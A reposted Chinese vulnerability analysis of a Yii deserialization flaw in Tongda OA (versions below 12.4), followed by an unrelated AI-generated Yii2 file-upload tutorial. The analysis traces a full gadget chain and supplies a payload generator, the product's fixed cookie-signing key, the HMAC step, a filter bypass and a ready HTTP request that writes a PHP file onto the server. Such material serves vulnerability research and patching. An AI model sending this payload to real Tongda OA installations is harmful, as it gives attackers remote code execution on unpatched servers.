整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          通達(dá)OA小于12.4 反序列化漏洞分析

          通達(dá)OA小于12.4 反序列化漏洞分析

          x00 前置知識(shí)和準(zhǔn)備

          1.yii版本和源碼準(zhǔn)備

          查看通達(dá)oa 11.10使用的yii框架版本是2.0.13-dev,該版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php(yii/BaseYii)的getVersion方法可以查看。由于通達(dá)oa解密后的代碼會(huì)對(duì)yii框架部分代碼有影響,會(huì)出現(xiàn)亂碼的情況,所以建議找到對(duì)應(yīng)版本后上yii倉(cāng)庫(kù)下載源碼。

          static public function getVersion()
              {
                  return "2.0.13-dev";
              }
          

          2.yii csrftoken配置方法

          • 單個(gè)controller開啟:

          在控制器中設(shè)置

          public $enableCsrfValidation=true;
          • 全局開啟:

          在yii框架的/config/main.php設(shè)置

          request=> [
              'enableCookieValidation'=> true,
          ]
          

          yii框架默認(rèn)是開啟這個(gè)設(shè)置的。

          • 針對(duì)提交的數(shù)據(jù)流進(jìn)行設(shè)置

          通達(dá)oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php頁面中,設(shè)置public $enableCsrfValidation=true;$enableCsrfValidation=true;(默認(rèn))

          還可以設(shè)置beforeAction在某些方法之前進(jìn)行csrf token、afterAction在某些方法之后進(jìn)行csrf token、表單設(shè)置、ajax異步post請(qǐng)求設(shè)置,這些其他模式設(shè)置csrf token請(qǐng)查看《Yii2 關(guān)閉和打開csrf 驗(yàn)證》。

          3.yii csrftoken http報(bào)文格式

          Cookie中_csrf的參數(shù),格式大致如下:

          Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

          a開始就是序列化的數(shù)組數(shù)據(jù)。

          例如:

          Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;

          通過這些可以看到該漏洞的利用條件如下:

          • yii csrf token開啟(默認(rèn)開啟)
          • 只能影響到y(tǒng)ii框架函數(shù)request類請(qǐng)求的數(shù)據(jù)流,php原生請(qǐng)求方式不受影響。

          0x01 漏洞分析

          1.反序列化觸發(fā)點(diǎn)csrfMetaTags

          yii框架csrf token生成的時(shí)候會(huì)生成一部分序列化數(shù)據(jù),校驗(yàn)該token需要對(duì)這部分序列化數(shù)據(jù)進(jìn)行反序列化校驗(yàn)。

          yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后將其放在html的meta標(biāo)簽里面的方法。yii默認(rèn)是開啟csrf校驗(yàn)的,所以$request->enableCsrfValidation默認(rèn)為true,默認(rèn)就會(huì)調(diào)用yii/web/Request::getCsrfToken方法獲取csrf token。

          public static function csrfMetaTags()
              {
                  $request=Yii::$app->getRequest();
                  // $request是framework/web/Request.php Request類
                  if ($request instanceof Request && $request->enableCsrfValidation) {
                      return static::tag('meta', '', ['name'=> 'csrf-param', 'content'=> $request->csrfParam]) . "\n    "
                          . static::tag('meta', '', ['name'=> 'csrf-token', 'content'=> $request->getCsrfToken()]) . "\n";
                  }
          
                  return '';
              }
          
          //framework/web/Request.php 
          public $enableCsrfValidation=true;
          

          跟進(jìn)getCsrfToken方法,$this->_csrfToken可控,設(shè)置為null,從而能繼續(xù)進(jìn)入$this->loadCsrfToken()。

          public function getCsrfToken($regenerate=false)
              {
                  //可設(shè)置 $this->_csrfToken=null
                  if ($this->_csrfToken===null || $regenerate) {
                      if ($regenerate || ($token=$this->loadCsrfToken())===null)
                      {
                          $token=$this->generateCsrfToken();
                      }
                      $this->_csrfToken=Yii::$app->security->maskToken($token);
                  }
          
                  return $this->_csrfToken;
              }
          

          $this->loadCsrfToken()由于$this->enableCsrfCookie默認(rèn)就為true,就會(huì)調(diào)用getCookies方法。$this->_cookies可控,從而調(diào)用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根據(jù)手冊(cè)開啟csrf校驗(yàn)該密鑰可以在yii web配置里查看。通達(dá)oa中yii的web配置文件是general/appbuilder/config/web.php,在這里面可以看到固定密碼為tdide2。

          protected function loadCsrfToken()
              {
                  //默認(rèn)或可設(shè)置$enableCsrfCookie=true
                  if ($this->enableCsrfCookie) {
                      return $this->getCookies()->getValue($this->csrfParam);
                  }
          
                  return Yii::$app->getSession()->get($this->csrfParam);
              }
          
          public function getCookies()
              {
                  if ($this->_cookies===null) {
                      $this->_cookies=new CookieCollection($this->loadCookies(), [
                          'readOnly'=> true,
                      ]);
                  }
          
                  return $this->_cookies;
              }
          
          protected function loadCookies()
              {
                  $cookies=[];
                  if ($this->enableCookieValidation) {
                      if ($this->cookieValidationKey=='') {
                          throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
                      }
                      foreach ($_COOKIE as $name=> $value) {
                          if (!is_string($value)) {
                              continue;
                          }
                        //$this->cookieValidationKey='tdide2'
                          $data=Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                          if ($data===false) {
                              continue;
                          }
                        // 反序列化點(diǎn)
                          $data=@unserialize($data);
                          if (is_array($data) && isset($data[0], $data[1]) && $data[0]===$name) {
                              $cookies[$name]=Yii::createObject([
                                  'class'=> 'yii\web\Cookie',
                                  'name'=> $name,
                                  'value'=> $data[1],
                                  'expire'=> null,
                              ]);
                          }
                      }
                  ......
          

          回到loadCookies中,對(duì)$_COOKIE循環(huán)遍歷并對(duì)cookie中每個(gè)字段的值用Yii::$app->getSecurity()->validateData()校驗(yàn),校驗(yàn)csrf token值無問題后對(duì)其進(jìn)行反序列化。

          跟進(jìn)發(fā)現(xiàn)是yii/base/Security的validataData方法。該方法校驗(yàn)思路是比對(duì)cookie的csrf token中傳入的hash和代碼中重新計(jì)算的hash是否一致。hash_hmac設(shè)置的是sha256位的hash計(jì)算模式,因此每次傳入csrf token都要計(jì)算對(duì)應(yīng)的hash值。

          public function validateData($data, $key, $rawHash=false)
              {
                  //$this->macHash=sha256
                  $test=@hash_hmac($this->macHash, '', '', $rawHash);
                  if (!$test) {
                      throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
                  }
                  $hashLength=StringHelper::byteLength($test);
                  if (StringHelper::byteLength($data) >=$hashLength) {
                      $hash=StringHelper::byteSubstr($data, 0, $hashLength);
                      $pureData=StringHelper::byteSubstr($data, $hashLength, null);
                      //hash_mac('sha256',$pureData,'tdide2',false)
                      $calculatedHash=hash_hmac($this->macHash, $pureData, $key, $rawHash);
          
                      if ($this->compareString($hash, $calculatedHash)) {
                          return $pureData;
                      }
                  }
          
                  return false;
              }
          

          2.通達(dá)OA調(diào)用csrfMetaTags的地方

          分析完了反序列化unserialize的觸發(fā)點(diǎn),但還要找到調(diào)用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html頁面meta標(biāo)簽的csrf token,因此調(diào)用的地方一般在html模版或者寫頁面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有調(diào)用該方法。

          <?php
          $this->beginPage();
          echo "<!DOCTYPE html>\n<html lang=\"";
          echo Yii::$app->language;
          echo "\">\n<head>\n    <meta charset=\"";
          echo Yii::$app->charset;
          echo "\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    ";
          echo yii\helpers\Html::csrfMetaTags();
          echo "    <title>";
          ......
          

          查看/general/appbuilder/目錄結(jié)構(gòu)發(fā)現(xiàn)general/appbuilder/views/是yii框架寫的模板主頁面。只要調(diào)用了該路由下的方法就能觸發(fā)模板渲染。

          根據(jù)手冊(cè),general/appbuilder/config/params.php是配置框架參數(shù)的,其中skip_module是配置不進(jìn)行鑒權(quán)的模塊,其中就有portal門戶模塊。

          <?php
          
          include_once "inc/td_config.php";
          $arr_mysql_server=explode(":", TD::$_arr_db_master["host"]);
          return array(
          ......
              "skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),
          

          同時(shí)general/appbuilder/web/index.php是yii路由入口,獲取請(qǐng)求路徑后以問號(hào)為分隔符substr分割路徑和uri參數(shù)。portal模塊下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的話會(huì)直接跳轉(zhuǎn)到index.php,從而可以觸發(fā)general/appbuilder/views/layouts/main.php模板。

          ......
              else {
                  $url=$_SERVER["REQUEST_URI"]; //獲取路徑
                  $strurl=substr($url, 0, strpos($url, "?")); //分割路徑和uri參數(shù)
          
                  if (strpos($strurl, "/portal/") !==false) {
                      if (strpos($strurl, "/gateway/")===false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($strurl, "/gateway/saveportal") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "edit") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "uploadfile") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "uploadportalfile") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "uploadpicture") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "dologin") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                  }
              ......
          

          因此,觸發(fā)漏洞的路由是/general/appbuilder/portal/gateway/?。

          在inc/common.inc.php可以看到通達(dá)OA有全局的addslashes過濾,對(duì)Cookie中過濾。傳入payload的時(shí)候?qū)csrf改為_GET、_POST等就可以繞過。

          if (0 < count($_COOKIE)) {
            foreach ($_COOKIE as $s_key=> $s_value ) {
              if ((substr($s_key, 0, 7)=="_SERVER") || (substr($s_key, 0, 8)=="_SESSION") || (substr($s_key, 0, 7)=="_COOKIE") || (substr($s_key, 0, 4)=="_GET") || (substr($s_key, 0, 5)=="_POST") || (substr($s_key, 0, 6)=="_FILES")) {
                continue;
              }
          
              if (!is_array($s_value)) {
                $_COOKIE[$s_key]=addslashes(strip_tags($s_value));
              }
          
              $s_key=$_COOKIE[$s_key];
            }
          
            reset($_COOKIE);
          }
          

          3.yii 反序列化鏈

          yii常見的反序列化起點(diǎn)是利用yii\db\BatchQueryResult的。其中yii框架POP1鏈條差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通達(dá)oa里并沒有用**Faker\Generator**,而且好多yii反序列化鏈涉及的類都通達(dá)oa都沒有,因此這里需要重新找一條鏈。

          yii\db\BatchQueryResult的__destruct調(diào)用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解為可控類->close()。全局搜索到y(tǒng)ii\db\DataReader存在close()方法。

          public function __destruct()
              {
                  // make sure cursor is closed
                  $this->reset();
              }
          
          public function reset()
              {
                  if ($this->_dataReader !==null) { 
                      $this->_dataReader->close();
                  }
                  $this->_dataReader=null;
                  $this->_batch=null;
                  $this->_value=null;
                  $this->_key=null;
              }
          

          因此,可設(shè)置$this->_dataReader=new DataReader()從而觸發(fā)調(diào)用其close方法,進(jìn)入后$this->_statement可控,同樣是可控類->closeCursor(),但是全局搜索沒找到什么對(duì)應(yīng)的類。嘗試找?guī)в衏all方法的類,通過調(diào)用其不存在的closeCursor,觸發(fā)call方法。

          public function close()
              {
                  $this->_statement->closeCursor();//$this->_statement=new Connection();
                  $this->_closed=true;
              }
          

          在通達(dá)oa 11.10全局搜索中找到y(tǒng)ii2框架還用了yii2-redis庫(kù),在yii2-redis里面找到y(tǒng)ii\redis\Connection類存在call方法。


          打開后發(fā)現(xiàn)代碼由于解密問題有亂碼問題,找到對(duì)應(yīng)的yii2-redis倉(cāng)庫(kù)下載對(duì)應(yīng)版本的源碼(inc/vendor/yii2/yiisoft/extensions.php頁面可查看yii2-redis版本為2.0.6)。$redisCommand=$name='closeCursor'轉(zhuǎn)換為大寫,再與$this->redisCommands比對(duì),查看是否存在其中,而$this->redisCommands可控,可參照其默認(rèn)值形式,設(shè)置為CLOSE CURSOR,從而可進(jìn)入executeCommand。

          public $redisCommands=[
                  'APPEND', // Append a value to a key
                  'AUTH', // Authenticate to the server
                  'BGREWRITEAOF', // Asynchronously rewrite the append-only file
                  'BGSAVE', // Asynchronously save the dataset to disk
          ......
              ];
          
          public function __call($name, $params)//$name=closeCursor,$params=null
              {
                  $redisCommand=strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
                  if (in_array($redisCommand, $this->redisCommands)) {
                      return $this->executeCommand($redisCommand, $params);
                  }
          
                  return parent::__call($name, $params);
              }
          

          executeCommand調(diào)用open方法,跟進(jìn)發(fā)現(xiàn)$this->_socket可控,為保證代碼繼續(xù)運(yùn)行這里要設(shè)置為false(默認(rèn)初始化值為false)。$connection由hostname、port、database拼接,每個(gè)變量都可控,然后后續(xù)進(jìn)行socket的鏈接。由于通達(dá)一體包系統(tǒng)環(huán)境一般是win系統(tǒng),所以設(shè)置$this->unixSocket為false(可控)就能進(jìn)入win下tcp鏈接。這里只要連通就可以讓$this->_socket為true進(jìn)入if分支。if分之內(nèi)前面三個(gè)if條件$this->dataTimeout、$this->password、$this->database都可控,這三個(gè)分支調(diào)用的不是executeCommand的遞歸就是又進(jìn)行socket鏈接都不符合情況,所以需要設(shè)置為null,才能保證進(jìn)入initConnection()。

          public function executeCommand($name, $params=[])
              {
                  $this->open();
          ......
              }
          
          public function open()
              {
                  if ($this->_socket !==false) {
                      return;
                  }
                  $connection=($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
                  \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
                  $this->_socket=@stream_socket_client(
                      $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
                      $errorNumber,
                      $errorDescription,
                      $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
                      $this->socketClientFlags
                  );
                  if ($this->_socket) {
                      if ($this->dataTimeout !==null) {
                          stream_set_timeout($this->_socket, $timeout=(int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
                      }
                      if ($this->password !==null) {
                          $this->executeCommand('AUTH', [$this->password]);
                      }
                      if ($this->database !==null) {
                          $this->executeCommand('SELECT', [$this->database]);
                      }
                      $this->initConnection();
                  }
              ......
          }
          

          initConnection()實(shí)際調(diào)用的是yii\base\Component(framework/base/Component.php)::trigger()方法,參數(shù)EVENT_AFTER_OPEN固定值是afterOpen。

          const EVENT_AFTER_OPEN='afterOpen';
          
          protected function initConnection()
              {
                  $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
              }
          

          trigger方法在line560調(diào)用了call_user_func,逆向溯源兩個(gè)$handler[0]和$event參數(shù)。$this->_events[$name]=$this->['afterOpen']不為空,就能進(jìn)入該分支調(diào)用call_user_func。然后對(duì)$this->_events['afterOpen']進(jìn)行數(shù)組遍歷,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。

          public function trigger($name, Event $event=null)
              {
                  $this->ensureBehaviors();
                  //$this->_events['afterOpen']=''
                  if (!empty($this->_events[$name])) {
                      if ($event===null) {
                          $event=new Event();
                      }
                      if ($event->sender===null) {
                          $event->sender=$this;//yii\base\Component
                      }
                      $event->handled=false;
                      $event->name=$name;//'afterOpen'
                      //$this->>_events['afterOpen']=$handler; 
                      foreach ($this->_events[$name] as $handler) {
                          $event->data=$handler[1];//any
                          call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
                          // stop further handling if the event is handled
                          if ($event->handled) {
                              return;
                          }
                      }
                  }
                  // invoke class-level attached handlers
                  Event::trigger($this, $name, $event);
              }
          

          參考低版本yii反序列化鏈執(zhí)行代碼注入的一般通過yii\rest\CreateAction或者類似的類(代碼內(nèi)容如下所示)。其中$this->checkAccess和$this->id都可控,$this->checkAccess設(shè)置為調(diào)用php函數(shù),如system執(zhí)行命令;$this->id設(shè)置執(zhí)行內(nèi)容,如命令whoami。

          public function run()
              {
                  if ($this->checkAccess) {
                      call_user_func($this->checkAccess, $this->id);
                  }
                ......
          

          結(jié)合上面的trigger方法,call_user_func參數(shù)1可以設(shè)置為調(diào)用CreateAction的run方法,調(diào)用方式:call_user_func([new CreateAction, 'run'],'a')。如何給$this->_events['afterOpen']賦值,繼續(xù)查看如下代碼注釋:

          //$this->>_events['afterOpen']=$handler; //一重?cái)?shù)組,$handler要求是數(shù)組
                      foreach ($this->_events[$name] as $handler) { //二重?cái)?shù)組,$handler分為$handler[0]和handler[1]
                          $event->data=$handler[1];//any
                          call_user_func($handler[0],$event);
                          //call_user_func([new CreateAction,'run'],any); 
                          //三重?cái)?shù)組,call_user_func調(diào)用類需要用數(shù)組傳入,形如[new A(),...params]
          

          轉(zhuǎn)換過來也就是$this->_events['afterOpen']=[[[new CreatAction, 'run'],'a']]。

          0x02 漏洞復(fù)現(xiàn)

          1.生成反序列化鏈

          該鏈條效果為寫入一個(gè)名為hgsd.php的php文件,內(nèi)容為<?php echo 123;?>。輸出反序列化payload的base64編碼,解碼并urlencode作為偽造的csrf token一部分?jǐn)?shù)據(jù)。

          <?php
          
          //step4
          namespace yii\rest {
              class CreateAction {
                  public $id;
                  public $checkAccess;
                  public function __construct() {
                      $this->checkAccess='assert';
                      $this->id="file_put_contents('hgsd.php','<?php echo 123;?>')";
                  }
          
              }
          }
          
          //step3
          namespace yii\base {
          
              use yii\rest\CreateAction;
          
              class Component {
          
                  private $_events=[];
                  private $_behaviors=1;
          
                  public function __construct() {
                      $this->_events=["afterOpen"=> [[[new CreateAction(), "run"], "a"]]];
                      //第二個(gè)"a"參數(shù)任意。
                  }
              }
          }
          //step2
          namespace yii\redis {
          
              use yii\base\Component;
          
              class Connection extends Component{
                  public $redisCommands=[];
                  public $hostname='';
                  public $port;
                  public $password;
                  public $username;
                  public $connectionTimeout;
                  public $dataTimeout;
                  public $database;
                  public $unixSocket;
                  private $_socket;
          
                  public function __construct()
                  {
                      $this->redisCommands=array('CLOSE CURSOR');
                      $this->_socket=false;
                      $this->hostname='127.0.0.1';
                      $this->port=803;//能夠連通的任意本地服務(wù)的端口
                      $this->unixSocket=false;
                      $this->connectionTimeout=5;
                      parent::__construct();
                  }
              }
          
          }
          
          // step1 
          namespace yii\db {
          
              use yii\redis\Connection;
          
              class DataReader {
                  private $_statement;
                  private $_closed=false;
                  private $_row;
                  private $_index=-1;
                  public function __construct()
                  {
                      $this->_statement=new Connection();
                  }
              }
          
              class BatchQueryResult {
                  public $batchSize=100;
                  public $each=false;
                  private $_dataReader;
                  private $_batch;
                  private $_value;
                  private $_key;
          
                  public function __construct() {
                      $this->_dataReader=new DataReader();
                  }
          
              }
          }
          //start
          namespace {
              use yii\db\BatchQueryResult;
              echo base64_encode(serialize(new BatchQueryResult()));
          }
          

          2. 生成反序列化hash

          對(duì)第一步生成的反序列化payload(base64已編碼)進(jìn)行hash計(jì)算,從而生成對(duì)應(yīng)的csrf token另一部分?jǐn)?shù)據(jù)。

          <?php
          $pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');
          
          $calculatedHash=hash_hmac('sha256',$pureData,'tdide2',false); 
          # yii general/appbuilder/config/web.php cookieValidationKey 固定值
          echo($calculatedHash);
          

          3.http報(bào)文(漏洞驗(yàn)證)

          對(duì)數(shù)據(jù)包請(qǐng)求方式?jīng)]有限制,get和post方式都可以。偽造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完畢后,在發(fā)送如下請(qǐng)求:

          POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
          Host: x.x.x.x
          Cache-Control: max-age=0
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
          Accept-Encoding: gzip, deflate
          Accept-Language: zh-CN,zh;q=0.9
          Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
          Connection: close
          Content-Type: application/x-www-form-urlencoded
          Content-Length: 0
          

          執(zhí)行成功后響應(yīng)500,響應(yīng)體如下圖所示:


          上述生成的poc文件目錄是/general/appbuilder/web/hgsd.php。


          from https://xz.aliyun.com/t/12855

          AI提問題: 使用 php Yii2 框架創(chuàng)建表單,要求表單帶上傳功能;請(qǐng)?zhí)峁┛刂破鳌⒛P汀⒁晥D的代碼,如果需要使用第三方j(luò)s前端UI框架,請(qǐng)告訴我該如何引用它。


          在Yii2框架中創(chuàng)建帶有上傳功能的表單需要使用Yii2內(nèi)置的`ActiveForm`類,同時(shí)還需要在模型中定義相應(yīng)的規(guī)則和在控制器中處理文件上傳。下面是一個(gè)簡(jiǎn)單的例子,假設(shè)你想要?jiǎng)?chuàng)建一個(gè)包含文件上傳功能的表單。

          1. 創(chuàng)建模型(models/YourModel.php):

          <?php

          namespace app\models;

          use yii\base\Model;

          use yii\web\UploadedFile;

          class YourModel extends Model

          {

          public $file; // 屬性用于接收上傳的文件


          public function rules()

          {

          return [

          [['file'], 'file', 'skipOnEmpty'=> false, 'extensions'=> 'png, jpg, jpeg'],

          ];

          }

          }


          2. 創(chuàng)建控制器(controllers/YourController.php):

          <?php

          namespace app\controllers;

          use Yii;

          use yii\web\Controller;

          use app\models\YourModel;

          use yii\web\UploadedFile;

          class YourController extends Controller

          {

          public function actionYourForm()

          {

          $model=new YourModel();

          if (Yii::$app->request->isPost) {

          $model->file=UploadedFile::getInstance($model, 'file');

          if ($model->file && $model->validate()) {

          $uploadPath=Yii::getAlias('@app/uploads/');

          $model->file->saveAs($uploadPath . $model->file->baseName . '.' . $model->file->extension);

          // 處理文件上傳后的邏輯,可以保存文件路徑到數(shù)據(jù)庫(kù)或其他操作

          // 例如:$model->file_path=$uploadPath . $model->file->baseName . '.' . $model->file->extension;

          }

          }

          return $this->render('yourForm', ['model'=> $model]);

          }

          }


          3. 創(chuàng)建視圖文件(views/your-controller/yourForm.php):

          <?php

          use yii\helpers\Html;

          use yii\widgets\ActiveForm;

          ?>

          <?php $form=ActiveForm::begin(['options'=> ['enctype'=> 'multipart/form-data']]); ?>

          <?=$form->field($model, 'file')->fileInput() ?>

          <div class="form-group">

          <?=Html::submitButton('Submit', ['class'=> 'btn btn-primary']) ?>

          </div>

          <?php ActiveForm::end(); ?>


          在這個(gè)例子中,`models/YourModel.php` 中定義了一個(gè)模型,其中包含一個(gè)用于接收上傳文件的屬性,并使用`rules`方法設(shè)置了文件上傳的規(guī)則。`controllers/YourController.php` 中的`actionYourForm`方法處理了文件上傳的邏輯,將上傳的文件保存到指定目錄。視圖文件`views/your-controller/yourForm.php` 使用`ActiveForm`創(chuàng)建了帶有文件上傳功能的表單。

          效果如下:


          如果你希望使用第三方的js前端UI框架,可以在布局文件中引入相應(yīng)的CSS和JS文件,例如,如果你想使用Bootstrap,可以在布局文件中添加以下代碼:

          <?php

          use yii\helpers\Html;

          use yii\bootstrap\NavBar;

          use yii\bootstrap\Nav;

          /* @var $this \yii\web\View */

          /* @var $content string */

          \yii\bootstrap\BootstrapAsset::register($this);

          $this->beginPage();

          ?>

          <!DOCTYPE html>

          <html lang="<?=Yii::$app->language ?>">

          <head>

          <meta charset="<?=Yii::$app->charset ?>">

          <meta name="viewport" content="width=device-width, initial-scale=1">

          <?=Html::csrfMetaTags() ?>

          <title><?=Html::encode($this->title) ?></title>

          <?php $this->head() ?>

          </head>

          <body>

          <?php $this->beginBody(); ?>

          <div class="wrap">

          <?php

          NavBar::begin([

          'brandLabel'=> 'My Yii Application',

          'brandUrl'=> Yii::$app->homeUrl,

          'options'=> [

          'class'=> 'navbar-inverse navbar-fixed-top',

          ],

